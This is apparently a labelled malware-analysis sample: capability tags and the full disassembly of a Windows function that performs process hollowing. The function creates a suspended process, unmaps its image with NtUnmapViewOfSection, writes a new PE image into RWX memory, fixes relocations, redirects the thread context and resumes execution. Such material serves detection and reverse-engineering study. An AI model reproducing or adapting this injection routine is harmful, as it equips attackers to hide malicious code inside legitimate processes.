Function at 0x4026dc
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Inspect section memory permissions
Resume thread
Use process replacement

Disassembly:
push ebp
lea ebp, [esp - 0x55c]
sub esp, 0x55c
push 0xffffffffffffffff
push 0x412510
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x41c100]
xor eax, ebp
mov dword [ebp + 0x558], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
push 0x104
lea eax, [ebp + 0x350]
xor ebx, ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea edi, [ebp + 0x32c]
test eax, eax
jne 0x402755
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
mov dword [ebp + 0x33c], ebx
mov dword [ebp + 0x340], 7
mov word [ebp + 0x32c], ax
jmp 0x402787
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp + 0x350]
push eax
mov dword [ebp + 0x33c], ebx
mov dword [ebp + 0x340], ebx
call fcn.0040919b
pop ecx
push eax
lea eax, [ebp + 0x350]
push eax
lea ecx, [ebp + 0x32c]
call fcn.00403694
push 0x10
lea eax, [ebp + 0x2d0]
mov dword [ebp - 4], ebx
push ebx
push eax
call fcn.00407830
push 0x44
pop edi
push edi
lea eax, [ebp + 0x2e4]
push ebx
push eax
call fcn.00407830
add esp, 0x18
mov dword [ebp + 0x2e4], edi
cmp dword [ebp + 0x340], 7
lea ecx, [ebp + 0x2d0]
lea eax, [ebp + 0x32c]
cmova eax, dword [ebp + 0x32c]
push ecx
lea ecx, [ebp + 0x2e4]
push ecx
xor ecx, ecx
push ecx
push ecx
push 4
push ecx
push ecx
push ecx
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x402c47
mov eax, dword [esi]
mov dword [ebp - 0x18], eax
push 0x2cc
push 0
mov esi, dword [eax + 0x3c]
add esi, eax
mov eax, dword [esi + 0x34]
mov dword [ebp - 0x20], eax
lea eax, [ebp]
push eax
call fcn.00407830
add esp, 0xc
mov dword [ebp], 0x10002
lea eax, [ebp]
push eax
push dword [ebp + 0x2d4]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x402c47
mov ebx, dword [ebp + 0xa4]
lea eax, [ebp + 0x328]
and dword [ebp + 0x2cc], 0
add ebx, 8
push eax
push 4
lea eax, [ebp + 0x2cc]
mov dword [ebp - 0x14], ebx
push eax
push ebx
push dword [ebp + 0x2d0]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x402c47
mov edi, dword [ebp + 0x2cc]
mov eax, dword [ebp - 0x20]
cmp edi, eax
jne 0x4028b7
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.NtUnmapViewOfSection
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
test ebx, ebx
je 0x402c47
push edi
push dword [ebp + 0x2d0]
mov ecx, ebx
call dword [0x41316c]
call ebx
pop ecx
pop ecx
test eax, eax
jne 0x402c47
mov ebx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x20]
push 0x40
push 0x3000
push dword [esi + 0x50]
push eax
push dword [ebp + 0x2d0]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp + 0x2e0], eax
test eax, eax
jne 0x40290f
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x1e7
jne 0x402c47
push 0x40
push 0x3000
push dword [esi + 0x50]
push 0
push dword [ebp + 0x2d0]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp + 0x2e0], eax
test eax, eax
je 0x402c47
cmp edi, eax
je 0x402938
lea eax, [ebp + 0x34c]
push eax
push 4
lea eax, [ebp + 0x2e0]
push eax
push ebx
push dword [ebp + 0x2d0]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x402c47
push 2
pop edi
mov word [esi + 0x5c], di
mov ecx, dword [ebp + 0x2e0]
cmp ecx, dword [ebp - 0x20]
je 0x402aaf
test byte [esi + 0x16], 1
jne 0x402c47
movzx eax, word [esi + 0x14]
xor edi, edi
movzx edx, word [esi + 6]
add eax, 0x18
mov dword [esi + 0x34], ecx
add eax, esi
xor ecx, ecx
mov dword [ebp - 0x14], eax
test edx, edx
je 0x4029b1
lea edx, [eax + 8]
movzx eax, word [esi + 6]
mov ebx, dword [edx + 4]
cmp dword [esi + 0xa0], ebx
jb 0x402995
mov eax, dword [edx]
add eax, ebx
cmp dword [esi + 0xa0], eax
jb 0x40299f
movzx eax, word [esi + 6]
inc edi
add edx, 0x28
cmp edi, eax
jb 0x40297a
jmp 0x4029b1
mov ecx, dword [ebp - 0x14]
imul eax, edi, 0x28
mov ecx, dword [eax + ecx + 0x14]
sub ecx, ebx
add ecx, dword [esi + 0xa0]
mov ebx, dword [ebp - 0x18]
xor edi, edi
mov eax, dword [esi + 0xa4]
add ecx, ebx
mov dword [ebp - 0x34], ecx
mov dword [ebp + 0x34c], eax
mov dword [ebp - 0x14], edi
test eax, eax
je 0x402b7a
lea edx, [edi + ecx]
mov eax, dword [edx + 4]
sub eax, 8
mov dword [ebp - 0x2c], edx
shr eax, 1
push 0
mov dword [ebp - 0x30], eax
pop ebx
je 0x402a94
mov edi, dword [ebp - 0x18]
movzx ecx, word [edx + ebx*2 + 8]
mov ax, cx
and ecx, 0xfff
shr ax, 0xc
movzx eax, ax
cmp eax, 3
je 0x402a0e
cmp eax, 0xa
jne 0x402a84
add ecx, dword [edx]
xor edx, edx
movzx eax, word [esi + 6]
and dword [ebp - 0x24], edx
and dword [ebp - 0x1c], edx
mov dword [ebp - 0x10], ecx
movzx ecx, word [esi + 0x14]
add ecx, 0x18
add ecx, esi
mov dword [ebp - 0x28], ecx
cmp word [ebp - 0x24], ax
jae 0x402a6d
mov dword [ebp - 0x24], eax
add ecx, 8
mov eax, dword [ebp - 0x10]
cmp eax, dword [ecx + 4]
jb 0x402a49
mov eax, dword [ecx]
add eax, dword [ecx + 4]
cmp dword [ebp - 0x10], eax
jb 0x402a5c
mov eax, dword [ebp - 0x24]
add ecx, 0x28
inc dword [ebp - 0x1c]
movzx eax, ax
cmp dword [ebp - 0x1c], eax
jb 0x402a37
jmp 0x402a6d
imul eax, dword [ebp - 0x1c], 0x28
mov edx, dword [ebp - 0x28]
mov edx, dword [eax + edx + 0x14]
sub edx, dword [ecx + 4]
add edx, dword [ebp - 0x10]
mov ecx, dword [edx + edi]
sub ecx, dword [ebp - 0x20]
mov dword [edx + edi], ecx
mov eax, dword [ebp + 0x2e0]
add eax, ecx
mov dword [edx + edi], eax
mov edx, dword [ebp - 0x2c]
inc ebx
cmp ebx, dword [ebp - 0x30]
jb 0x4029ef
mov edi, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x34]
add edi, dword [edx + 4]
mov dword [ebp - 0x14], edi
cmp edi, dword [ebp + 0x34c]
jb 0x4029d2
mov ecx, dword [ebp + 0x2e0]
push 2
pop edi
mov ebx, dword [ebp - 0x18]
mov eax, dword [esi + 0x28]
add eax, ecx
mov dword [ebp + 0xb0], eax
lea eax, [ebp]
push eax
push dword [ebp + 0x2d4]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x402c47
lea eax, [ebp + 0x344]
push eax
push dword [esi + 0x54]
push ebx
push dword [ebp + 0x2e0]
push dword [ebp + 0x2d0]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x402c47
lea eax, [ebp + 0x348]
push eax
push edi
push dword [esi + 0x54]
push dword [ebp + 0x2e0]
push dword [ebp + 0x2d0]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x402c47
mov edi, dword [ebx + 0x3c]
xor eax, eax
and dword [ebp - 0x10], 0
add edi, ebx
xor ebx, ebx
inc ebx
cmp ax, word [esi + 6]
jae 0x402c36
add edi, 0x104
lea eax, [ebp + 0x344]
push eax
push dword [edi + 4]
mov eax, dword [edi + 8]
add eax, dword [ebp - 0x18]
push eax
mov eax, dword [edi]
add eax, dword [ebp + 0x2e0]
push eax
push dword [ebp + 0x2d0]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x402c47
movzx eax, word [esi + 6]
dec eax
cmp dword [ebp - 0x10], eax
jne 0x402b88
mov edx, dword [esi + 0x50]
jmp 0x402b8b
mov ecx, dword [ebp + 0x2e0]
push 2
pop edi
jmp 0x402ab2
mov edx, dword [edi + 0x28]
mov ecx, dword [edi + 0x18]
mov eax, ecx
sub edx, dword [edi]
and eax, 0xe0000000
cmp eax, 0xe0000000
jne 0x402ba2
push 0x40
jmp 0x402bf1
mov eax, ecx
and eax, 0x60000000
cmp eax, 0x60000000
jne 0x402bb4
push 0x20
jmp 0x402bf1
mov eax, ecx
and eax, 0xa0000000
cmp eax, 0xa0000000
jne 0x402bc9
mov eax, 0x80
jmp 0x402bfe
mov eax, ecx
and eax, 0xc0000000
cmp eax, 0xc0000000
jne 0x402bdb
push 4
jmp 0x402bf1
test ecx, 0x20000000
je 0x402be7
push 0x10
jmp 0x402bf1
test ecx, 0x40000000
je 0x402bf4
push 2
pop eax
jmp 0x402bfe
test ecx, ecx
mov eax, ebx
push 8
pop ecx
cmovs eax, ecx
lea ecx, [ebp + 0x348]
push ecx
push eax
mov eax, dword [ebp + 0x2e0]
add eax, dword [edi]
push edx
push eax
push dword [ebp + 0x2d0]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x402c47
mov ecx, dword [ebp - 0x10]
add edi, 0x28
movzx eax, word [esi + 6]
inc ecx
mov dword [ebp - 0x10], ecx
cmp ecx, eax
jl 0x402b3d
push dword [ebp + 0x2d4]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
jne 0x402c49
xor bl, bl
lea ecx, [ebp + 0x32c]
call fcn.0040334d
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x558]
xor ecx, ebp
call fcn.00405f0a
add ebp, 0x55c
leave
ret